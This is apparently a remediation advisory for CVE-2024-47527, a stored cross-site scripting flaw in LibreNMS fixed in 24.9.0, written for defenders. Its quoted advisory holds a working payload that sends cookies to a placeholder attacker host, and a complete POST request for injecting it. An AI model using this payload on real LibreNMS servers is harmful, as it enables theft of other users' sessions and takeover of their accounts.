How to Fix CVE-2024-47527

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 24.9.0
Upgrade librenms/librenms to 24.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-47527, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.9.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. ### Details The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions. For example, the following payload can be used to exploit the vulnerability: ```t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"``` When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL. The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output. This is evident in the following line of code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74 ### PoC 1. Add a new device using the following payload for the hostname: ```t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"``` 2. Save the device. 3. Navigate to the device dependencies page. 4. Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL. Example Request: ```http POST /addhost HTTP/1.1 Host: <your_host> X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <your_cookie> _token=<your_token>&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%<attacker_url>%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit= ``` ### Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
